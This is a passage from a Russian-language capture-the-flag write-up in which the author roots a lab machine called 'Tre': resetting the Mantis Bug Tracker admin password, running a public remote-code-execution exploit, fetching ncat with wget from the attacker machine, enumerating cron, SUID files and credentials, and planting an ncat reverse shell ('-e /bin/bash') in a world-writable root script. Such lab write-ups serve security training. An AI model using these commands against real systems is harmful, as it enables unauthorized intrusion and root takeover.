Нам указывают что не хватает параметра confirm_hash. Мы подставляем и его
И нас редиректит на форму сброса пароля))) Пробуем поменять пароль… Нас редиректит на авторизацию, пробуем зайти administrator : наш пароль
И мы внутри))) Теперь мне нужно найти версию приложения
Супер. Можем вернуться к поиску эксплоита
Меня заинтересовала вот эта строчка
Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
Почитав описание, становится понятно, что эксплоит эксплуатирует 2 узвимости
CVE : CVE-2017-7615, CVE-2019-15715
CVE-2017-7615 — это как раз сброс пароля, который мы сделали самостоятельно.
CVE-2019-15715 - Escape GraphViz command before calling proc_open()
Я очень хотел в райтапе разобрать этот эксплоит мануально, чтоб и я и вы достигли понимания как эксплуатируется уязвимость, но посидев пару дней, у меня что-то не скаладывалось на CMD injection и я решил просто использовать эксплоит.
А что с менеджером БД (Adminer)?
Я решил не разбирать этот процесс, так как райтап становится слишком большим. Скажу лишь то, что найденные настройки в копии конфига подходят и соответственно появляется возможность создать своего пользователя и назначить его админом. Это дает возможность просто авторизоваться, минуя сброс пароля.
2. ЭКСПЛУАТАЦИЯ
Тянем эксплоит к себе и настраиваем его. Ставим листенера и запускаем наш эксплоит
Ссылка скрыта от гостей
Да-да, вы наверное уже и забыли, что у нас имеется еще один порт)) Так как я учусь, я решил пока оставить пост-эксплуатацию и поискать еще уязвимости. Ведь цель то не просто пройти, а развивать навыки!
ffuf -u http://192.168.1.107:8082/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
ffuf -u http://192.168.1.107:8082/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -c -t 100
ПУСТО!!!!((((
ffuf -u http://192.168.1.107:8082/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -c -t 100
Тоже пусто(
Попробуем поискать еще HTML страницы
ffuf -u http://192.168.1.107:8082/FUZZ.html -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -c -t 100
index [Status: 200, Size: 164, Words: 8, Lines: 9]
И снова ничего…
Попытки поискать другие форматы файлов не принесли результата. По видимому с этим портом можно заканчивать и двигаться к Пост-эксплуатации.
3. Post-Explotation
Попав внутрь сис-мы, первым делом привожу в порядок оболочку. Но при попытке ее стабилизировать вижу такую картину
Понимаю, что требуется вернуть еще одну. Сделаю я это с помощью
nc
Код:
www-data@tre:/var/www/html/mantisbt$ nc
bash: nc: command not found
www-data@tre:/var/www/html/mantisbt$
И вижу что nc отсутствует в системе. Можно вернуть оболочку разными методами, но я сделаю это тем же способом, но только загружу на жертву бинарный
ncat
1. Открываем каталог где у нас лежит бинарник
2. Стартуем локальный сервер
3. На жертве топаем в /tmp
4.
wget http://192.168.1.108:8000/ncat
5.
chmod +x ncat
Ставим листенера у себя и на жертве запускаем ncat
И стабилизируем нашу оболочку. Когда все сделано принимаемся за дело!
И так, сейчас самое время понять что начинается другой уровень этой игры, а значит мы забываем все что было ДО, нас интересует только текущая ситуация. Как всегда, мы начинаем со сбора информации:
OS: Debian GNU/Linux 10 (
cat /etc/issue
)Architecture: x86_64 GNU/Linux (
uname -a
)Kernel version: 4.19.0-9-amd6 (
uname -a
)GCC compiler: gcc version 8.3.0 (
cat /proc/version
)Эта информация важна тем, что дает нам вектор для использования уязвимости ядра, если такая есть и если нам это понадобится. Вообще считается, что реализовывать данный вектор требуется только в случае, если по другому уже ни как)))
Process
Меня интересуют процессы которые запущенны от рута или от другого пользователя, который имеет больше прав в системе чем я.
Для этого я использую pspy
Забрасываю его на жертву в /tmp и запускаю
Переглядывая процессы в реальном времени, меня заинтересовал вызов команды
sleep
от rootВыйдя обратно в шелл, я решил пересмотреть задачи cron, но не нашел ничего(((
Cron jobs
Код:
www-data@tre:/var/www/html$ crontab -l
no crontab for www-data
Код:
www-data@tre:/var/www/html$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
cat: /etc/cron.weekly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 ** * *root cd / && run-parts --report /etc/cron.hourly
25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
Код:
www-data@tre:/var/www/html$ ls -l /etc/cron*
-rw-r--r-- 1 root root 1042 Oct 11 2019 /etc/crontab
/etc/cron.d:
total 8
-rw-r--r-- 1 root root 712 Dec 17 2018 php
-rw-r--r-- 1 root root 191 May 11 2020 popularity-contest
/etc/cron.daily:
total 32
-rwxr-xr-x 1 root root 539 Apr 2 2019 apache2
-rwxr-xr-x 1 root root 1478 May 28 2019 apt-compat
-rwxr-xr-x 1 root root 355 Dec 29 2017 bsdmainutils
-rwxr-xr-x 1 root root 1187 Apr 18 2019 dpkg
-rwxr-xr-x 1 root root 377 Aug 28 2018 logrotate
-rwxr-xr-x 1 root root 249 Sep 27 2017 passwd
-rwxr-xr-x 1 root root 4571 May 20 2018 popularity-contest
/etc/cron.hourly:
total 0
/etc/cron.monthly:
total 0
/etc/cron.weekly:
total 0
Код:
www-data@tre:/var/www/html$ cat /etc/cron.d/php
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
# This purges session files in session.save_path older than X,
# where X is defined in seconds as the largest value of
# session.gc_maxlifetime from all your SAPI php.ini files
# or 24 minutes if not defined. The script triggers only
# when session.save_handler=files.
#
# WARNING: The scripts tries hard to honour all relevant
# session PHP options, but if you do something unusual
# you have to disable this script and take care of your
# sessions yourself.
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
Код:
www-data@tre:/var/www/html$ cat /etc/cron.d/popularity-contest
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
46 23 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond
www-data@tre:/var/www/html$
Собственно ничего, что могло бы меня заинтересовать. Двигаемся дальше!
Config Files
Тут мы смотрим разные конфигурациионные файлы на предмет содержания в них кредов.
Ищем config.php, файл для соединения веб-сервера и БД
www-data@tre:/tmp$ find /var/ -type f -name config.php 2>/dev/null
/var/www/html/system/plugins/MantisCoreFormatting/pages/config.php
/var/www/html/system/plugins/XmlImportExport/pages/config.php
/var/www/html/mantisbt/plugins/MantisCoreFormatting/pages/config.php
/var/www/html/mantisbt/plugins/XmlImportExport/pages/config.php
И в них пусто!
Пробуем почитать mysql лог файл
Код:
www-data@tre:/var/log$ cat mysql/
cat: mysql/: Permission denied
Read/Write etc/passwd,shadow,sudoers
Код:
www-data@tre:/$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1445 May 12 2020 /etc/passwd
www-data@tre:/$ ls -l /etc/shadow
-rw-r----- 1 root shadow 965 May 12 2020 /etc/shadow
www-data@tre:/$ ls -l /etc/sudoers
-r--r----- 1 root root 708 May 12 2020 /etc/sudoers
Без результата!
Find suid and guid files
www-data@tre:/$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Код:
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
-rwxr-sr-x 1 root crontab 43568 Oct 11 2019 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Jul 27 2018 /usr/bin/chage
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwxr-sr-x 1 root shadow 31000 Jul 27 2018 /usr/bin/expiry
-rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root ssh 321672 Jan 31 2020 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwxr-sr-x 1 root tty 34896 Jan 10 2019 /usr/bin/wall
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwxr-sr-x 1 root shadow 39616 Feb 14 2019 /usr/sbin/unix_chkpwd
И снова ничего нету
Find any creds in files
Код:
www-data@tre:/var/www/html$ grep -r '/' -e 'password' > password.txt
www-data@tre:/var/www/html$ grep -r '/' -e 'passwd' > passwd.txt
www-data@tre:/var/www/html$ grep -r '/' -e 'user' > user.txt
www-data@tre:/var/www/html$ grep -r '/' -e 'cred*' > creds.txt
Тут мы отправляем вывод
grep
в файлы для того, чтоб отфильтровать все что доступно для чтения, от того, что не доступно. В файле сохраняются результаты, которые мы можем просматреть, а на экране высветятся все со статусом Permission denied
Проглядев эти файлы, я снова ничего не нарыл…
Вообщем перебрав все варианты, котрые я имел я решил воспользоваться уязвимостью ядра, но тут меня тоже ждала неудача, так как для версии ядра 4.19.0-9 я не нашел эксплоит(((
Дальше я решил воспользоваться linpeas’ом для сбора информации. Я не люблю автоматизацию, предпочитаю все делать руками. Но тут сам Бог велел. Отмечу что тут я тоже потерпел неудачу(((
Потыкав еще часок, я решил вернуться к процессам. Уж очень меня интересовал вызов команды
sleep
.Запустив pspy еще раз проверяю все строчки…
Блин… Я трижды смотрел в список и не обратил внимания на эту строчку
2021/11/04 03:49:09 CMD: UID=0 PID=423 | /bin/bash /usr/bin/check-system
Запускается какой-то check-system
Код:
www-data@tre:/var/www/html$ ls -l /usr/bin/check-system
-rw----rw- 1 root root 116 Nov 4 02:55 /usr/bin/check-system
Опля… Удача. Перед нами файл принадлежащий root, им же запускаемый и еще и имеющий права для чтения и записи для ВСЕХ!
Смотрим что внутри
Код:
www-data@tre:/var/www/html$ cat /usr/bin/check-system
DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info
while :
do
sleep 1;
done
А вот и наш
sleep
! Перед нами bash скрипт который запускает бесконечный цикл с командой sleep 1. Мы имеем возможность добавить в этот скрипт все что хотим испольнить от root, я буду возвращать оболочку.Для этого мне потребуется скопировать мой ncat из tmp в
var/www/html/[/I]
так как все что находится во временной папке удалится при перезапуске! При чем тут перезапуск спросите вы? И это хороший попрос. Фишка в том, что check-system запускается единожды. И даже если мы внесем в него изменения, они не будут выполнены. Поэтому потребуется перезапустить коробку!Преношу ncat и редактирую скрипт.
Код:
www-data@tre:/var/www/html$ cat /usr/bin/check-system
DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info
while :
do
./var/www/html/ncat 192.168.1.108 1234 -e /bin/bash
sleep 1;
done
Сохраняю, ставлю у меня листенера и перезапускаюсь!
Мы есть Root )
P.S. В целом получил огромное удовольствие от прохождения. Эта коробка стала для меня неким показателем собственного роста. Но пройдя ее, меня не покидала мысль, что решение не совсем верное. Почему? Так как я проходил ее используя виртуальную машину, то понятно, что уйти на перезапуск достаточно просто. Но я же понимаю как это работает у OffSec'ов. Там если ты сделал ребут, то коробка перезагружается с начала, а соответственно все мои правки сошли бы на нет.
Вообщем поразмышляв над этим, я решил посмотреть райтапы. И тут меня ждала новость. Как оказалось, пройти ее можно было очень быстро и решение по факту было перед моими глазами. Помните adminer? Тот менеджер БД.. Так вот когда мы авторизовываемся в нем, там лежат два юзера с правами админа и менеджера. Один с логином administrator, другой tre. А системный юзер tre у нас был. Так вот, уязвимость болле чем простая и встречается по сей день, а именно - Использование одного пароля, для разных сервисов. Как оказалось, пароль лежащий в базе подходил для доступа в SSH, а сам юзер имел sudo права на выполнения shutdown команды.
Соответственно введя shutdown -r мы бы перезапустили коробку без изменений))) Вот так вот. Но все же, я доволен что проходил ее более длинным путем. По факту мне удалось найти уязвимость не зная о ее существовании(Сброс пароля), а это как ни как показатель знаний, опыта и труда!
Конечо в райтапе не передать всего с чем пришлось столкнуться. Например фазинг. Его реально было много, очень много. Думаю часов 12+ наберется в сумме. Я реально сканил каждую директорию на предмет каталогов и файлов и это все миллионы строк запросов. А сколько раз я пытался впихнуть шелл в цикл при повышении... И реально бесился что нечего не выполнялось, пока не понял что скрипт запускается единожды при запуске)) Вообщем на прохождение этой коробки мне потребовался 1 месяц. Решал я ее в свободное время от курса WAPT, когда приходлось по несколько дней ждать перехода на следующую тему. Но за то мне удалось вникнуть в каждый процесс.
С Уважением